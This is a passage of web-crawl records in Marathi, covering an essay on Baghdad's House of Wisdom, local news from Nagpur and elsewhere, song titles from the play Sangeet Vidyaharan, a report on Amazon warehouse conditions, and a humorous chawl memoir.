दुर्लक्ष केलं असतं, तर आईनस्टाईन यांचं संशोधन जगापुढं येण्यासाठी काही दशकांचा उशीर झाला असता व अनेक क्षेत्रांत मानवानं आज जी प्रगती केली आहे, ती सन २१००-२२०० च्या दरम्यान झाली असती.\nशत्रुपक्षानं असं संशोधन पुढं आणून संपूर्ण मानवी संस्कृतीला पुढं नेण्याचा हा काही पहिलाच प्रयत्न नव्हता.\nजगाच्या इतिहासात सर्वांत प्रथम विज्ञान भारत व ग्रीस या दोन देशांनी जोपासलं. हे सुमारे इसवीसनापूर्वी ५ ते ७ ते इसवी सनानंतर सहावं शतक या १०० वर्षांत झालं. या काळात भारतात सुश्रुत, चरक, आर्यभट्ट व ब्रह्मगुप्त यांनी मूलभूत संशोधन केलं. ग्रीसमध्ये , प्लूटो, पायथॅगोरस, युक्‍लिड यांनी मूलभूत संशोधन केलं. उल्लेख केलेल्या या नावांशिवाय भारतात व ग्रीसमध्ये इतरही शास्त्रज्ञ होऊन गेले. भारतात; तसंच ग्रीसच्या जागी आलेल्या रोमन साम्राज्यात सुमारे एक हजार वर्षं या संशोधनाची जाण होती; पण दोन्ही राष्ट्रं सहाव्या-सातव्या शतकानंतर अधोगतीच्या मार्गाला लागले. भारतातल्या सुवर्णकाळावर काळं सावट पसरलं. रोमच्या साम्राज्याचा लय झाला.\nभारतवर्षात व युरोपमध्ये सहाव्या-सातव्या शतकानंतर अंधार पसरला असताना तिथलं संशोधन जागृत कसं राहिलं आज आपल्याला ऍरिस्टॉटल व आर्यभट्ट यांची ओळख का आहे आज आपल्याला ऍरिस्टॉटल व आर्यभट्ट यांची ओळख का आहे याचं उत्तर बगदादमध्ये सापडेल\nसन ८३२ मध्ये बगदादमध्ये ‘बैत अल्‌ हिक्‍मा’ हा जगातला पहिला ‘थिंक टॅंक’ स्थापन करण्यात आला. त्या वेळी बगदादमध्ये मामून अब्बासिद यांचं राज्य होतं. इस्लाम धर्मावर आधारित असं ते राज्य होतं. अब्बासिद स्वतःला राजा म्हणवून घेत नसत, तर तर ‘धर्मावर आधारित राजा’ अर्थात ‘खलिफा’ असं म्हणवून घेत असत. त्यांची इतर इस्लामी राज्यांशी व विशेषतः शेजारीच असलेल्या ‘बायझंटाईन’ या ख्रिश्‍चन राज्याशी सतत युद्ध होत असत. धर्मयुद्ध अद्याप सुरू झालेली नव्हती, ती दीडशे वर्षांनी सुरू झाली; पण जगाची वाटचाल धर्मयुद्धाच्या दिशेनं एकंदरीत सुरू झाली होती. अशा वातावरणात ‘बैत अल हिक्‍मा’ या अरबी थिंक टॅंकच्या धुरिणांनी भारतात व ग्रीसमध्ये पूर्वी झालेलं संशोधन जगासमोर आणायचं ठरवलं. त्यांनी खूप मोठ्या प्रमाणात बायझंटाईन या शत्रुराष्ट्रातल्या ख्रिश्‍चन व ज्यू धर्माच्या विद्वानांना बगदादला आमंत्रित केलं. त्यांचा सन्मान केला. त्यांना खूप मोठा आर्थिक मोबदला दिला व त्यांच्या मदतीनं प्राचीन भाषांमधल्या ग्रंथांचं अरबी भाषेत भाषांतर सुरू केलं. तिथं संस्कृत पंडित काम करत असल्याची नोंद नाही; पण भारतीय व्यापाऱ्यांच्या मदतीनं प्राचीन भारतातले संशोधनाचे कागद प्राप्त केल्याची नोंद आहे. हे सगळं करण्यासाठी खलिफा मामून अब्बासिद यांनी सरकारी तिजोरीतून मोठा खर्च केला व भारत आणि ग्रीस इथल्या संशोधनाचं पुनरुज्जीवन केलं.\nऍरिस्टॉटल ग्रंथ ग्रीक ते सीरियन ते अरबी ते लॅटिन ते इंग्लिश असा भाषांतराचा प्रवास करून आपल्याकडं पोचले आहेत. प्राचीन भारतातलं विज्ञान आपल्याकडं भारत ते बगदाद ते भारत आणि भारत ते बगदाद ते युरोप ते भारत असा प्रवास करून आपल्याकडं पोचलं आहे.\nभारत आणि ग्रीस इथल्या संशोधनाचं भाषांतर करताना बगदाद इथल्या विद्वानांना विज्ञानाची गोडी लागली. त्यातून त्यांनी अनेक शोध लावले. पुढच्या काळात अरबराष्ट्रांची धूळधाण उडाल्यावर ते जगासमोर कसं आलं\nहॉर्वर्ड या अमेरिकेतल्या जगप्रसिद्ध विद्यापीठानं अविसेन्ना या पर्शियातल्या शास्त्रज्ञाचं संशोधन आपल्या वैद्यकीय विभागात अभ्यासाचा विषय म्हणून ठेवलं. ऑक्‍सफर्ड व केंब्रिज या विद्यापीठांनीही अरब प्रदेशात लागलेल्या संशोधनावर पुढं काम केलं.\nजर ‘बैत अल्‌ हिक्‍मा’च्या संचालकांनी मानवी संस्कृतीच्या इतिहासातला सगळ्यात मोठा प्रयोग राष्ट्रभक्तीमुळं अथवा धर्मप्रेमामुळं हाती घेतला नसता, तर आपल्याला भारत व ग्रीस इथल्या प्राचीन संशोधनाचा कदाचित थांगपत्ताही लागला नसता. ऍरिस्टॉटल व आर्यभट्ट, तसंच पायथॅगोरस व पाणिनी ही नावंदेखील आपण ऐकली असती की नाही कुणास ठाऊक\nआजची मानवी संस्कृती ही विशाल मनाच्या विज्ञानाची फलश्रुती आहे. जगातल्या काही व्यक्तींनी ‘मी’, ‘माझं’, ‘आमचं’ ही मानसिकता सोडून व्यापक विचार केला म्हणून मानवतेची प्रगती झाली. विज्ञानाचा दुरुपयोग काही सत्तांध व स्वयंकेंद्रित राज्यकर्त्यांनी केला म्हणून संहारक शस्त्रांमध्ये वाढ झाली. येत्या काही वर्षांत प्रगती होईल की संहार होऊन मानवी संस्कृती संपूर्ण नष्ट होईल, याचं उत्तर व्यापक व सर्वसमावेशक वैचारिक प्रवाह व स्वयंकेंद्रित आणि सत्ताकेंद्रित वैचारिक प्रवाह या दोन परस्परविरोधी विचारसरणींच्या पुढच्या मार्गक्रमणात मिळेल.\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/electricity-cut-empress-mall-138605", "date_download": "2018-09-25T17:33:41Z", "digest": "sha1:4YYOLKTEPON3L7UPPN4FA6OF7OC6X7SF", "length": 13635, "nlines": 173, "source_domain": "www.esakal.com", "title": "electricity cut empress mall एम्प्रेस सिटीची बत्ती गुल | eSakal", "raw_content": "\nएम्प्रेस सिटीची बत्ती गुल\nसोमवार, 20 ऑगस्ट 2018\nएम्प्रेस सिटीची बत्ती गुल\nनागपूर : अग्निशमन यंत्रणा नसलेल्या बहुमजली इमारतींचे पाणी व वीजपुरवठा खंडित करण्याच्या मनपा आयुक्तांच्या आदेशानुसार एसएनडीएलच्या पथकाने रविवारी दुपारी एम्प्रेस सिटीतील रहिवासी इमारतींत कारवाई केली. कारवाईला विरोध केल्याने रहिवासी व वीज कर्मचाऱ्यांमध्ये वाकयुद्ध रंगले. स्थानिकांचा रोष लक्षात घेता साडेसहा वाजता वीजपुरवठा सुरळीत केला.\nएम्प्रेस सिटीची बत्ती गुल\nनागपूर : अग्निशमन यंत्रणा नसलेल्या बहुमजली इमारतींचे पाणी व वीजपुरवठा खंडित करण्याच्या मनपा आयुक्तांच्या आदेशानुसार एसएनडीएलच्या पथकाने रविवारी दुपारी एम्प्रेस सिटीतील रहिवासी इमारतींत कारवाई केली. कारवाईला विरोध केल्याने रहिवासी व वीज कर्मचाऱ्यांमध्ये वाकयुद्ध रंगले. स्थानिकांचा रोष लक्षात घेता साडेसहा वाजता वीजपुरवठा सुरळीत केला.\nअग्निशमन यंत्रणा नसलेल्या अनेक बहुमजली इमारतीतील नागरिक धोका पत्करून वास्तव्यास आहेत. संबंधित इमारतींना अग्निशमन विभागाकडून वेळोवेळी नोटीस बजावण्यात आली. मात्र, दखलच घेतली जात नसल्याने वीज व पाणी कापण्याचे आदेश दिले. त्यानुसार एसएनडीएलचे पथक रविवारी दुपारी 1.45 वाजताच्या सुमारास एम्प्रेस मॉल परिसरात दाखल झाले. परिसरात वीजपुरवठा करणाऱ्या एचटी रूमचे स्वीच बंद करून सिल लावले. यामुळे 2.15 वाजतापासून फ्लॅटचा वीजपुरवठा खंडित झाला अन्‌ रहिवाशांची तारांबळ उडाली. कारवाईला विरोध दर्शवित एसएनडीएलच्या पथकाला घेराव घातला. साडेचार तास कर्मचारी रहिवाशांच्या विळख्यात होते. त्यांच्यात सायंकाळी सहापर्यंत वाकयुद्ध रंगलेले दिसून आले. दुसरीकडे अग्निशमन विभागाचे अधिकारीच काय मनपा आयुक्तांकडूनही प्रतिसाद मिळत नसल्याने सायंकाळी 6.30 वाजता वीजपुरवठा पूर्ववत केला.\n782 धोकादायक बहुमजली इमारती\nउपराजधानीत अग्निशमन यंत्रणा नसलेल्या 782 हून अधिक धोकादायक इमारती आहेत. 372 इमारतींनी अद्याप कोणतीही उपाययोजना केली नसल्याने कारवाईचे आदेश दिले आहे. त्यातील 17 इमारतींचा वीजपुरवठा 15 दिवसांमध्ये खंडित करण्याचे आदेश असून, 10 इमारती एसएनडीएलच्या हद्दीतील आहेत. परंतु, संबंधित इमारतींना वीजखंडित करण्यापूर्वीची नोटीस अद्याप मिळाली नसल्याने तांत्रिक पेच निर्माण झाला आहे.\nएम्प्रेस मॉलचा वीजपुरवठा यापूर्वीच खंडित केला आहे. तेव्हापासून महाकाय जनरेटरवरच इथली यंत्रणा सुरू आहे. परंतु, सुरक्षेच्या दृष्टीने हा प्रकार धोकादायक असल्याचे वीज क्षेत्राशी संबंधितांचे म्हणणे आहे.\nबीडमध्ये घर परवान्यावर शाळा बांधकाम ; गुन्हा दाखल\nबीड : नगर पालिकेकडून घराच्या बांधकामाचा परवाना घेऊन शहरातील अजिजपुरा भागात शाळेचे बांधकाम केल्याचे स्वच्छता विभागाच्या पाहणीत समोर आले आहे....\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nबऊर शिवारात आढळला बिबट्या\nहिंगोली : कळमनुरी तालुक्यातील बऊर शिवारामध्ये बिबट्याने एका बैलाचा फडशा पाडल्यानंतर वन विभागाने लावलेल्या कॅमेऱ्यात मंगळवारी (ता. २५ ) बिबट्याचे...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\n...तर युवक महोत्सव उधळून लावू\nऔरंगाबाद : कुलगुरूंच्या दालनात आंदोलन करणाऱ्या अभाविपच्या कार्यकर्त्यांवर कारवाई केली नाही, तर बुधवारपासून (ता. 26) सुरू होणारा केंद्रीय युवक महोत्सव...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.transliteral.org/keywords/sangeet.vidyaharan/word", "date_download": "2018-09-25T17:25:07Z", "digest": "sha1:7RKQ7ACHFCDA47F545ETNXVW5OFJH5LS", "length": 11142, "nlines": 113, "source_domain": "www.transliteral.org", "title": "Keyword - sangeet vidyaharan", "raw_content": "\n'डांबिस' हा शब्द मराठी कि कुठल्या भाषेतून आलाय त्याचा अर्थ किंवा उगम कोणता\nसंगीत विद्याहरण - सुखकर हें होवो मज वाग्वधु...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - घ्याहो प्याहो सुरा ही सुग...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - आला जो मज प्रेमें वराया \nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - गमे देहसुखसीमा ही ; तळमळे...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - जाण जरि शत्रूला , जामात न...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - बोल नसे , मूर्ति हीच सलली...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - जनसंताप सारा हराया नटे मद...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - स्त्रीजना विषय सकलहि एकचि...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - विमल अधर , निकटिं मोह पाप...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - ने पितरां खर -नरकीं ही मद...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - दिसत न कशी ममता \nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - मुखचंद्रासि असे , ग्रहण ज...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - भास मला झाला , पाहतां कपो...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - श्रीचरण शिकवि सकल ज्ञान स...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - मधुमधुरा तव गिरा मोहना , ...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - तरुला प्रिय ताप करी सकला ...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - मद्यमद चोरि तप दाउनी सुख ...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - सुरसुखखनि तूं विमला सगुणा...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - तूं कां वदसि मला कटु बोला...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nसंगीत विद्याहरण - डोलत जीव देवकाया देखोनिया...\nकचाने दैत्यगुरू शुक्राचार्यांकडून संजीवनी विद्या कशी मिळविली, याचे यथार्थ वर्णन या नाटकातून प्रभावीपणे जाणवते.\nचतुर्थीला चंद्र पाहूनच उपास का सोडतात\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.77, "bucket": "all"} {"url": "https://www.loksatta.com/trending-news/amazon-warehouse-staffers-pee-into-bottles-report-claims-1664728/", "date_download": "2018-09-25T17:12:00Z", "digest": "sha1:HP366ZDIMKTHSPYJODZFXSWHHMW54LV7", "length": 13086, "nlines": 206, "source_domain": "www.loksatta.com", "title": "Amazon warehouse staffers pee into bottles report claims | धक्कादायक : वेळ वाचवण्यासाठी अॅमेझॉनचे हे कर्मचारी करतात बाटलीत लघुशंका | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nधक्कादायक : वेळ वाचवण्यासाठी अॅमेझॉनचे हे कर्मचारी करतात बाटलीत लघुशंका\nधक्कादायक : वेळ वाचवण्यासाठी अॅमेझॉनचे हे कर्मचारी करतात बाटलीत लघुशंका\nकर्मचाऱ्यांना मिनिटांचा हिशोब द्यावा लागतो. त्यामुळे नोकरी वाचवण्यासाठी आणि वेळेचा अपव्यय टाळण्यासाठी इथले असंख्य कर्मचारी रिकाम्या बाटल्यांतच लघुशंका करतात अशी माहिती समोर आली आहे.\nसात लाख चौरस फूटांचं मोठं गोदाम, या गोदामात १२०० जण काम करतात. एवढ्या मोठ्या गोदामापासून शौचालयापर्यंत जायचं म्हणजे किमान चारशे मीटर चालावं लागणार. यात दहा मिनिटं वाया जाणार. जर लघुशंकेसाठी प्रत्येक खेपेला दहा मिनिटे वाया घालवली तर वरिष्ठांचा ओरडा खावा लागणारच पण याचसोबत नोकरीही गमवावी लागणार या भीतीनं अॅमेझॉनच्या गोदामात काम करणारे शेकडो कर्मचारी रिकम्या बाटल्यातच लघुशंका करतात अशी धक्कादायक बाब समोर आली आहे.\nवाचा : अखेर विद्यार्थ्यांसाठी आनंद महिंद्रांना ‘मार्केटिंग गुरू’ सापडला\nया गोदामात पूर्वी काम करणाऱ्या एका कर्मचाऱ्यानं ‘द सन’ला ही माहिती दिली आहे. या वृत्तपत्रातील एका शोधकर्त्यांनं गोळा केलेल्या माहितीनुसार इंग्लडमध्ये चार मजल्याचं हे गोदाम आहे. तळमजल्यावर दोन शौचालय आहेत. तळमजल्यावर काम करणाऱ्यांना शौचालय जवळ आहेत पण चौथ्या मजल्यावर काम करणाऱ्यांना मात्र बरंच अंतर कापून खाली यावं लागतं. यात किमान प्रत्येक कर्मचाऱ्याची दहा मिनिटे वाया जातात. कर्मचाऱ्यांना प्रत्येक मिनिटांचा हिशोब द्यावा लागतो. त्यामुळे नोकरी वाचवण्यासाठी आणि वेळेचा अपव्यय टाळण्यासाठी इथले असंख्य कर्मचारी रिकाम्या बाटल्यांतच लघुशंका करतात अशी माहिती जेम्स ब्लडवर्थ या हेरानं गोळा केली आहे.\nवाचा : एका व्हिडिओमुळे ४० वर्षांपूर्वी बेपत्ता झालेले ते घरी परतले\nपण अॅमेझॉननं मात्र ‘बिझनेझ इनसायडर’ला दिलेल्या मुलाखतीत जेम्स ब्लडवर्थनं केलेले आरोप फेटाळले आहेत. इथल्या प्रत्येक कर्मचाऱ्यांना पहिल्या दिवसांपासून आम्ही सर्व सुविधा पुरवण्याचा प्रयत्न केला आहे. चांगला पगार दिला आहे. त्यामुळे जेम्स यांनी केलेले आरोप पूर्णपणे चुकीचं आहेत असं अॅमेझॉननं म्हटलं आहे.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://www.maayboli.com/node/66086", "date_download": "2018-09-25T17:12:11Z", "digest": "sha1:M7EWWCTSP6WGEWCV2RZIYSIH6XATDVBY", "length": 8908, "nlines": 96, "source_domain": "www.maayboli.com", "title": "चाळीतील गमती-जमती (९) | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /चाळीतील गमती-जमती (९)\nआमच्या चाळीजवळ राणीच्या आईच्या दूरच्या नातेवाईक आजी राहायच्या त्यांना सगळे जैनाची म्हातारी म्हणुन ओळखायचे.आमच्या आख्या पंचक्रोशीत त्या म्हातारीसारखी दुसरी भांडखोर आजी शोधूनही सापडणार नाही असा तिचा स्वभाव.एकटीच रहायची. मातीचे दोन खोल्यांचे घर ,मागे अंगण.त्यावेळी त्यांचे वय असेल जवळ जवळ सत्तर च्या आसपास पण शेलाटी बांधा आणि कामाचा प्रचंड झपाटा आणि चालण्याची लगबग यामुळे वय आजिबात ओळखून यायच नाही.आमच्या घरापासून थोडं लांब तिचे घर पण आमच्या लगोरी या खेळासाठी आम्ही तिच्या अंगणातल्या फरश्या आणून त्याचे दुसऱ्या मोठ्या दगडावर फोडून तुकडे करायचो.कुठून तरी कागाळी व्ह्यायची आणि ती म्हातारी तणतणत आमच्या ऐन रंगात आलेल्या खेळामध्ये यायची आणि एका एकाला पकडून बदडून काढायला पुढे सरसवायची मग आमचा जाग्यावरच लगोरीचा खेळ संपुष्टात यायचा आणि लपाछपीचा खेळ सुरू व्हायचा.आताही बघा आंदोलनकर्ते मध्ये आणि मोर्च्यात मुख्य मोहरक्याला पकडलं की सारी सेना गारद होते तशी म्हातारी माझ्या मागे लागायची.कधी तिने पक्याला एखादा दुसरा रुपया देऊन या पकड मोहिमेसाठी नेमलेल असायचं.तिचा तो दूरचा का होईना नातूच ना .मग काय मी लय फास्ट पळून कुणाच्या तरी घरात लपून बस ,बाहेरचा अंदाज घे.अस करायचो.पक्या धर र तेवढं त्या राजीला तिला काय आज मी सोडत नाय..चांगलं डांबून घालतो म्हंटल की माझं धाब दणाणायच.मम्मीला तर कुठल्या तोंडाने जाऊन सांगणार.मग तशीच एखादी फारशी आणून म्हातारीला द्यावी अस माझ्या मनात यायच.पण तिच्या तोंडाचा पट्टा कोण थांबवणार.मग आजूबाजूचे मम्मीला जाऊन सांगणार सगळंच अवघड होऊन बसायचं.लपून बसल्यावर एक एक क्षण तासभर वाटायचा. जवळपास तिन्हीसांजेला गाठ आली की म्हातारी तिच्या घराकडे जात जात पळून जातीस व्हय ग...जाऊन जाऊन कुठं जाशील...कधीतरी माझ्या तावडीत घावशील की...अस बोलत तिच्या घरला रवाना व्हायची.तिचा मोठा आवाज आणि त्या आवाजात तोंडातून बाहेर पडणारे धारधार शब्द म्हणजे आख्या गल्लीसाठी ती आख्यायिका असायची. एवढा होऊन तरी कुठं सुधारायचो आम्ही पुन्हा त्या म्हातारीची आणि आमची जुंपी ठरलेली असायचीच.लहान मुलाला भीती दाखवण्यासाठी तुला नेला वाघाने अस काहीजण म्हणतात बघा तस मी तिच्या नजरेस पडलो की ती मला म्हणायची तुला नेलं पटकीने...बेन उलथत पण नाय पटदिशी..\nगुलमोहर - विनोदी लेखन\nएक एक प्रसंग जबरदस्त...\nएक एक प्रसंग जबरदस्त...\nजैनाची म्हातारी चांगली रंगवलीय\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nगुलमोहर - विनोदी लेखन\nया ग्रूपचे सभासद व्हा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00352.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%A5%E0%A5%87%E0%A4%9F-%E0%A4%85%E0%A4%AE%E0%A5%87%E0%A4%B0%E0%A4%BF%E0%A4%95%E0%A5%87%E0%A4%B6%E0%A5%80%E0%A4%9A-%E0%A4%9A%E0%A4%B0%E0%A5%8D%E0%A4%9A%E0%A4%BE-%E0%A4%B9%E0%A4%B5%E0%A5%80/", "date_download": "2018-09-25T16:49:11Z", "digest": "sha1:WGXQFP3A3NLKK3TI3F56XFLA26D7FLUL", "length": 6638, "nlines": 144, "source_domain": "www.dainikprabhat.com", "title": "थेट अमेरिकेशीच चर्चा हवी – तालिबानची ताठर भूमिका | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nथेट अमेरिकेशीच चर्चा हवी – तालिबानची ताठर भूमिका\nकाबुल – अफगाणिस्तानच्या भूमीत जो पर्यंत विदेशी घुसखोर कायम आहेत तो पर्यंत अफगाणिस्तान सरकारशी शांततेबाबत कोणतीही चर्चा केली जाणार नाही आणि या देशात शांतताही टिकवू दिली जाणार नाही अशी आडमुठी भूमिका 